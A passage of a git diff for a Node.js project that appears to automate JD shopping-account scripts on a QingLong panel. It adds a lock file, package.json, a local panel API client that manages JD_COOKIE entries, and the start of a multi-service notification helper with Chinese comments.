"~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "request": { + "version": "2.88.2", + "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", + "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", + "requires": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.3", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.5.0", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" + }, + "dependencies": { + "qs": { + "version": "6.5.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", + "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" + }, + "tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + } + } + } + }, + "requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha1-kl0mAdOaxIXgkc8NpcbmlNw9yv8=" + }, + "resolve-alpn": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.2.1.tgz", + "integrity": "sha512-0a1F4l73/ZFZOakJnQ3FvkJ2+gSTQWz/r2KE5OdDY0TxPm5h4GkqkWWfM47T7HsbnOtcJVEF4epCVy6u7Q3K+g==" + }, + "responselike": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", + "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", + "requires": { + "lowercase-keys": "^1.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "secure-compare": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/secure-compare/-/secure-compare-3.0.1.tgz", + "integrity": "sha1-8aAymzCLIh+uN7mXTz1XjQypmeM=" + }, + "seek-bzip": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/seek-bzip/-/seek-bzip-1.0.6.tgz", + "integrity": "sha512-e1QtP3YL5tWww8uKaOCQ18UxIT2laNBXHjV/S2WYCiK4udiv8lkG89KRIoCjUagnAmCBurjF4zEVX2ByBbnCjQ==", + "requires": { + "commander": "^2.8.1" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + }, + "side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "requires": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + } + }, + "sort-keys": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz", + "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=", + "requires": { + "is-plain-obj": "^1.0.0" + } + }, + "sort-keys-length": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/sort-keys-length/-/sort-keys-length-1.0.1.tgz", + "integrity": "sha1-nLb09OnkgVWmqgZx7dM2/xR5oYg=", + "requires": { + "sort-keys": "^1.0.0" + } + }, + "sshpk": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", + "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", + "requires": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" + } + }, + "strict-uri-encode": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz", + "integrity": "sha1-J5siXfHVgrH1TmWt3UNS4Y+qBxM=" + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-dirs": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/strip-dirs/-/strip-dirs-2.1.0.tgz", + "integrity": "sha512-JOCxOeKLm2CAS73y/U4ZeZPTkE+gNVCzKt7Eox84Iej1LT/2pTWYpZKJuxwQpvX1LiZb1xokNR7RLfuBAa7T3g==", + "requires": { + "is-natural-number": "^4.0.1" + } + }, + "strip-outer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz", + "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "tar-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-1.6.2.tgz", + "integrity": "sha512-rzS0heiNf8Xn7/mpdSVVSMAWAoy9bfb1WOTYC78Z0UQKeKa/CWS8FOq0lKGNa8DWKAn9gxjCvMLYc5PGXYlK2A==", + "requires": { + "bl": "^1.0.0", + "buffer-alloc": "^1.2.0", + "end-of-stream": "^1.0.0", + "fs-constants": "^1.0.0", + "readable-stream": "^2.3.0", + "to-buffer": "^1.1.1", + "xtend": "^4.0.0" + } + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + }, + "timed-out": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/timed-out/-/timed-out-4.0.1.tgz", + "integrity": "sha1-8y6srFoXW+ol1/q1Zas+2HQe9W8=" + }, + "to-buffer": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.1.1.tgz", + "integrity": "sha512-lx9B5iv7msuFYE3dytT+KE5tap+rNYw+K4jVkb9R/asAb+pbBSM17jtunHplhBe6RRJdZx3Pn2Jph24O32mOVg==" + }, + "tough-cookie": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.0.0.tgz", + "integrity": "sha512-tHdtEpQCMrc1YLrMaqXXcj6AxhYi/xgit6mZu1+EDWUn+qhUf8wMQoFIy9NXuq23zAwtcB0t/MjACGR18pcRbg==", + "requires": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.1.2" + } + }, + "trim-repeated": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz", + "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=", + "requires": { + "escape-string-regexp": "^1.0.2" + } + }, + "ts-md5": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/ts-md5/-/ts-md5-1.2.9.tgz", + "integrity": "sha512-/Efr7ZfGf8P+d9HXh0PLQD1CDipqD8j9apCFG96pODDoEaFLxXpV4En6tAc6y3fWyfhFGrqtNBRBS+eLVIB2uQ==" + }, + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==" + }, + "tunnel": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz", + "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==" + }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", + "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" + }, + "unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "requires": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, + "union": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/union/-/union-0.5.0.tgz", + "integrity": "sha512-N6uOhuW6zO95P3Mel2I2zMsbsanvvtgn6jVqJv4vbVcz/JN0OkL9suomjQGmWtxJQXOCqUJvquc1sMeNz/IwlA==", + "requires": { + "qs": "^6.4.0" + } + }, + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + } + }, + "url-join": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-2.0.5.tgz", + "integrity": "sha1-WvIvGMBSoACkjXuCxenC4v7tpyg=" + }, + "url-parse-lax": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz", + "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=", + "requires": { + "prepend-http": "^2.0.0" + } + }, + "url-to-options": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/url-to-options/-/url-to-options-1.0.1.tgz", + "integrity": "sha1-FQWgOiiaSMvXpDTvuu7FBV9WM6k=" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "uuid": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", + "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" + }, + "verror": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", + "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + }, + "dependencies": { + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "ws": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.4.tgz", + "integrity": "sha512-zP9z6GXm6zC27YtspwH99T3qTG7bBFv2VIkeHstMLrLlDJuzA7tQ5ls3OJ1hOGGCzTQPniNJoHXIAOS0Jljohg==" + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==" + }, + "yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", + "requires": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..20f1dcd --- /dev/null +++ b/package.json @@ -0,0 +1,48 @@ +{ + "name": "jd", + "version": "1.0.0", + "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}", + "main": "AlipayManor.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "repository": { + "type": "git", + "url": "" + }, + "keywords": [ + "JD" + ], + "author": "", + "license": "ISC", + "dependencies": { + "axios": "^0.27.2", + "commander": "^9.2.0", + "console-grid": "^1.0.17", + "crypto-js": "^4.1.1", + "date-fns": "^2.28.0", + "dotenv": "^16.0.0", + "download": "^8.0.0", + "form-data": "^4.0.0", + "got": "^11.8.3", + "http-server": "^14.1.0", + "jsdom": "^19.0.0", + "md5": "^2.3.0", + "png-js": "^1.0.0", + "prettytable": "^0.3.1", + "qrcode-terminal": "^0.12.0", + "request": "^2.88.2", + "tough-cookie": "^4.0.0", + "ts-md5": "^1.2.11", + "tslib": "^2.4.0", + "tunnel": "0.0.6", + "ws": "^8.5.0" + }, + "devDependencies": { + "@types/node": "^17.0.30", + "gulp": "^4.0.2", + "gulp-typescript": "^6.0.0-alpha.1", + "ts-node": "^10.7.0", + "typescript": "^4.6.4" + } +} diff --git a/ql.js b/ql.js new file mode 100644 index 0000000..31e4883 --- /dev/null +++ b/ql.js @@ -0,0 +1,204 @@ +'use strict'; + +const got = require('got'); +require('dotenv').config(); +const { readFile } = require('fs/promises'); +const path = require('path'); + +const qlDir = '/ql'; +const fs = require('fs'); +let Fileexists = fs.existsSync('/ql/data/config/auth.json'); +let authFile=""; +if (Fileexists) + authFile="/ql/data/config/auth.json" +else + authFile="/ql/config/auth.json" +//const authFile = path.join(qlDir, 'config/auth.json'); + +const api = got.extend({ + prefixUrl: 'http://127.0.0.1:5600', + retry: { limit: 0 }, +}); + +async function getToken() { + const authConfig = JSON.parse(await readFile(authFile)); + return authConfig.token; +} + +module.exports.getEnvs = async () => { + const token = await getToken(); + const body = await api({ + url: 'api/envs', + searchParams: { + searchValue: 'JD_COOKIE', + t: Date.now(), + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + }, + }).json(); + return body.data; +}; + +module.exports.getEnvsCount = async () => { + const data = await this.getEnvs(); + return data.length; +}; + +module.exports.addEnv = async (cookie, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'post', + url: 'api/envs', + params: { t: Date.now() }, + json: [{ + name: 'JD_COOKIE', + value: cookie, + remarks, + }], + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + _id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.updateEnv11 = async (cookie, eid, remarks) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs', + params: { t: Date.now() }, + json: { + name: 'JD_COOKIE', + value: cookie, + id: eid, + remarks, + }, + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.DisableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/disable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.EnableCk = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'put', + url: 'api/envs/enable', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; + +module.exports.getstatus = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].status; + } + } + return 99; +}; + +module.exports.getEnvById = async(eid) => { + const envs = await this.getEnvs(); + var tempid = 0; + for (let i = 0; i < envs.length; i++) { + tempid = 0; + if (envs[i]._id) { + tempid = envs[i]._id; + } + if (envs[i].id) { + tempid = envs[i].id; + } + if (tempid == eid) { + return envs[i].value; + } + } + return ""; +}; + +module.exports.getEnvByPtPin = async (Ptpin) => { + const envs = await this.getEnvs(); + for (let i = 0; i < envs.length; i++) { + var tempptpin = decodeURIComponent(envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/) && envs[i].value.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + if(tempptpin==Ptpin){ + return envs[i]; + } + } + return ""; +}; + +module.exports.delEnv = async (eid) => { + const token = await getToken(); + const body = await api({ + method: 'delete', + url: 'api/envs', + params: { t: Date.now() }, + body: JSON.stringify([eid]), + headers: { + Accept: 'application/json', + authorization: `Bearer ${token}`, + 'Content-Type': 'application/json;charset=UTF-8', + }, + }).json(); + return body; +}; diff --git a/sendNotify.js b/sendNotify.js new file mode 100644 index 0000000..8598aab --- /dev/null +++ b/sendNotify.js @@ -0,0 +1,2326 @@ +/* + * @Author: ccwav https://github.com/ccwav/QLScript2 + + * sendNotify 推送通知功能 (text, desp, params , author , strsummary) + * @param text 通知标题 (必要) + * @param desp 通知内容 (必要) + * @param params 某些推送通知方式点击弹窗可跳转, 例:{ url: 'https://abc.com' } ,没啥用,只是为了兼容旧脚本保留 (非必要) + * @param author 通知底部作者` (非必要) + * @param strsummary 指定某些微信模板通知的预览信息,空则默认为desp (非必要) + + * sendNotifybyWxPucher 一对一推送通知功能 (text, desp, PtPin, author, strsummary ) + * @param text 通知标题 (必要) + * @param desp 通知内容 (必要) + * @param PtPin CK的PTPIN (必要) + * @param author 通知底部作者` (非必要) + * @param strsummary 指定某些微信模板通知的预览信息,空则默认为desp (非必要) + + */ +//详细说明参考 https://github.com/ccwav/QLScript2. +const querystring = require('querystring'); +const exec = require('child_process').exec; +const $ = new Env(); +const timeout = 15000; //超时时间(单位毫秒) +console.log("加载sendNotify,当前版本: 20220723"); +// =======================================go-cqhttp通知设置区域=========================================== +//gobot_url 填写请求地址http://127.0.0.1/send_private_msg +//gobot_token 填写在go-cqhttp文件设置的访问密钥 +//gobot_qq 填写推送到个人QQ或者QQ群号 +//go-cqhttp相关API https://docs.go-cqhttp.org/api +let GOBOT_URL = ''; // 推送到个人QQ: http://127.0.0.1/send_private_msg 群:http://127.0.0.1/send_group_msg +let GOBOT_TOKEN = ''; //访问密钥 +let GOBOT_QQ = ''; // 如果GOBOT_URL设置 /send_private_msg 则需要填入 user_id=个人QQ 相反如果是 /send_group_msg 则需要填入 group_id=QQ群 + +// =======================================微信server酱通知设置区域=========================================== +//此处填你申请的SCKEY. +//(环境变量名 PUSH_KEY) +let SCKEY = ''; + +// =======================================Bark App通知设置区域=========================================== +//此处填你BarkAPP的信息(IP/设备码,例如:https://api.day.app/XXXXXXXX) +let BARK_PUSH = ''; +//BARK app推送铃声,铃声列表去APP查看复制填写 +let BARK_SOUND = ''; +//BARK app推送消息的分组, 默认为"QingLong" +let BARK_GROUP = 'QingLong'; + +// =======================================telegram机器人通知设置区域=========================================== +//此处填你telegram bot 的Token,telegram机器人通知推送必填项.例如:1077xxx4424:AAFjv0FcqxxxxxxgEMGfi22B4yh15R5uw +//(环境变量名 TG_BOT_TOKEN) +let TG_BOT_TOKEN = ''; +//此处填你接收通知消息的telegram用户的id,telegram机器人通知推送必填项.例如:129xxx206 +//(环境变量名 TG_USER_ID) +let TG_USER_ID = ''; +//tg推送HTTP代理设置(不懂可忽略,telegram机器人通知推送功能中非必填) +let TG_PROXY_HOST = ''; //例如:127.0.0.1(环境变量名:TG_PROXY_HOST) +let TG_PROXY_PORT = ''; //例如:1080(环境变量名:TG_PROXY_PORT) +let TG_PROXY_AUTH = ''; //tg代理配置认证参数 +//Telegram api自建的反向代理地址(不懂可忽略,telegram机器人通知推送功能中非必填),默认tg官方api(环境变量名:TG_API_HOST) +let TG_API_HOST = 'api.telegram.org'; +// =======================================钉钉机器人通知设置区域=========================================== +//此处填你钉钉 bot 的webhook,例如:5a544165465465645d0f31dca676e7bd07415asdasd +//(环境变量名 DD_BOT_TOKEN) +let DD_BOT_TOKEN = ''; +//密钥,机器人安全设置页面,加签一栏下面显示的SEC开头的字符串 +let DD_BOT_SECRET = ''; + +// =======================================企业微信机器人通知设置区域=========================================== +//此处填你企业微信机器人的 webhook(详见文档 https://work.weixin.qq.com/api/doc/90000/90136/91770),例如:693a91f6-7xxx-4bc4-97a0-0ec2sifa5aaa +//(环境变量名 QYWX_KEY) +let QYWX_KEY = ''; + +// =======================================企业微信应用消息通知设置区域=========================================== +/* +此处填你企业微信应用消息的值(详见文档 https://work.weixin.qq.com/api/doc/90000/90135/90236) +环境变量名 QYWX_AM依次填入 corpid,corpsecret,touser(注:多个成员ID使用|隔开),agentid,消息类型(选填,不填默认文本消息类型) +注意用,号隔开(英文输入法的逗号),例如:wwcff56746d9adwers,B-791548lnzXBE6_BWfxdf3kSTMJr9vFEPKAbh6WERQ,mingcheng,1000001,2COXgjH2UIfERF2zxrtUOKgQ9XklUqMdGSWLBoW_lSDAdafat +可选推送消息类型(推荐使用图文消息(mpnews)): +- 文本卡片消息: 0 (数字零) +- 文本消息: 1 (数字一) +- 图文消息(mpnews): 素材库图片id, 可查看此教程(http://note.youdao.com/s/HMiudGkb)或者(https://note.youdao.com/ynoteshare1/index.html?id=1a0c8aff284ad28cbd011b29b3ad0191&type=note) + */ +let QYWX_AM = ''; + +// =======================================iGot聚合推送通知设置区域=========================================== +//此处填您iGot的信息(推送key,例如:https://push.hellyw.com/XXXXXXXX) +let IGOT_PUSH_KEY = ''; + +// =======================================push+设置区域======================================= +//官方文档:http://www.pushplus.plus/ +//PUSH_PLUS_TOKEN:微信扫码登录后一对一推送或一对多推送下面的token(您的Token),不提供PUSH_PLUS_USER则默认为一对一推送 +//PUSH_PLUS_USER: 一对多推送的“群组编码”(一对多推送下面->您的群组(如无则新建)->群组编码,如果您是创建群组人。也需点击“查看二维码”扫描绑定,否则不能接受群组消息推送) +let PUSH_PLUS_TOKEN = ''; +let PUSH_PLUS_USER = ''; +let PUSH_PLUS_TOKEN_hxtrip = ''; +let PUSH_PLUS_USER_hxtrip = ''; + +// ======================================= WxPusher 通知设置区域 =========================================== +// 此处填你申请的 appToken. 官方文档:https://wxpusher.zjiecode.com/docs +// WP_APP_TOKEN 可在管理台查看: https://wxpusher.zjiecode.com/admin/main/app/appToken +// WP_TOPICIDS 群发, 发送目标的 topicId, 以 ; 分隔! 使用 WP_UIDS 单发的时候, 可以不传 +// WP_UIDS 发送目标的 uid, 以 ; 分隔。注意 WP_UIDS 和 WP_TOPICIDS 可以同时填写, 也可以只填写一个。 +// WP_URL 原文链接, 可选参数 +let WP_APP_TOKEN = ""; +let WP_TOPICIDS = ""; +let WP_UIDS = ""; +let WP_URL = ""; + +let WP_APP_TOKEN_ONE = ""; +if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; +} +let WP_UIDS_ONE = ""; + +// =======================================gotify通知设置区域============================================== +//gotify_url 填写gotify地址,如https://push.example.de:8080 +//gotify_token 填写gotify的消息应用token +//gotify_priority 填写推送消息优先级,默认为0 +let GOTIFY_URL = ''; +let GOTIFY_TOKEN = ''; +let GOTIFY_PRIORITY = 0; +let PushErrorTime = 0; +let strTitle = ""; +let ShowRemarkType = "1"; +let Notify_NoCKFalse = "false"; +let Notify_NoLoginSuccess = "false"; +let UseGroupNotify = 1; +const { + getEnvs, + DisableCk, + getEnvByPtPin +} = require('./ql'); +const fs = require('fs'); +let isnewql = fs.existsSync('/ql/data/config/auth.json'); +let strCKFile=""; +let strUidFile =""; +if(isnewql){ + strCKFile = '/ql/data/scripts/CKName_cache.json'; + strUidFile = '/ql/data/scripts/CK_WxPusherUid.json'; +}else{ + strCKFile = '/ql/scripts/CKName_cache.json'; + strUidFile = '/ql/scripts/CK_WxPusherUid.json'; +} + + +let Fileexists = fs.existsSync(strCKFile); +let TempCK = []; +if (Fileexists) { + console.log("检测到别名缓存文件CKName_cache.json,载入..."); + TempCK = fs.readFileSync(strCKFile, 'utf-8'); + if (TempCK) { + TempCK = TempCK.toString(); + TempCK = JSON.parse(TempCK); + } +} + +let UidFileexists = fs.existsSync(strUidFile); +let TempCKUid = []; +if (UidFileexists) { + console.log("检测到一对一Uid文件WxPusherUid.json,载入..."); + TempCKUid = fs.readFileSync(strUidFile, 'utf-8'); + if (TempCKUid) { + TempCKUid = TempCKUid.toString(); + TempCKUid = JSON.parse(TempCKUid); + } +} + +let tempAddCK = {}; +let boolneedUpdate = false; +let strCustom = ""; +let strCustomArr = []; +let strCustomTempArr = []; +let Notify_CKTask = ""; +let Notify_SkipText = []; +let isLogin = false; +if (process.env.NOTIFY_SHOWNAMETYPE) { + ShowRemarkType = process.env.NOTIFY_SHOWNAMETYPE; + if (ShowRemarkType == "2") + console.log("检测到显示备注名称,格式为: 京东别名(备注)"); + if (ShowRemarkType == "3") + console.log("检测到显示备注名称,格式为: 京东账号(备注)"); + if (ShowRemarkType == "4") + console.log("检测到显示备注名称,格式为: 备注"); +} +async function sendNotify(text, desp, params = {}, author = '\n\n本通知 By ccwav Mod', strsummary = "") { + console.log(`开始发送通知...`); + + //NOTIFY_FILTERBYFILE代码来自Ca11back. + if (process.env.NOTIFY_FILTERBYFILE) { + var no_notify = process.env.NOTIFY_FILTERBYFILE.split('&'); + if (module.parent.filename) { + const script_name = module.parent.filename.split('/').slice(-1)[0]; + if (no_notify.some(key_word => { + const flag = script_name.includes(key_word); + if (flag) { + console.log(`${script_name}含有关键字${key_word},不推送`); + } + return flag; + })) { + return; + } + } + } + + try { + //Reset 变量 + UseGroupNotify = 1; + strTitle = ""; + GOBOT_URL = ''; + GOBOT_TOKEN = ''; + GOBOT_QQ = ''; + SCKEY = ''; + BARK_PUSH = ''; + BARK_SOUND = ''; + BARK_GROUP = 'QingLong'; + TG_BOT_TOKEN = ''; + TG_USER_ID = ''; + TG_PROXY_HOST = ''; + TG_PROXY_PORT = ''; + TG_PROXY_AUTH = ''; + TG_API_HOST = 'api.telegram.org'; + DD_BOT_TOKEN = ''; + DD_BOT_SECRET = ''; + QYWX_KEY = ''; + QYWX_AM = ''; + IGOT_PUSH_KEY = ''; + PUSH_PLUS_TOKEN = ''; + PUSH_PLUS_USER = ''; + PUSH_PLUS_TOKEN_hxtrip = ''; + PUSH_PLUS_USER_hxtrip = ''; + Notify_CKTask = ""; + Notify_SkipText = []; + + //变量开关 + var Use_serverNotify = true; + var Use_pushPlusNotify = true; + var Use_BarkNotify = true; + var Use_tgBotNotify = true; + var Use_ddBotNotify = true; + var 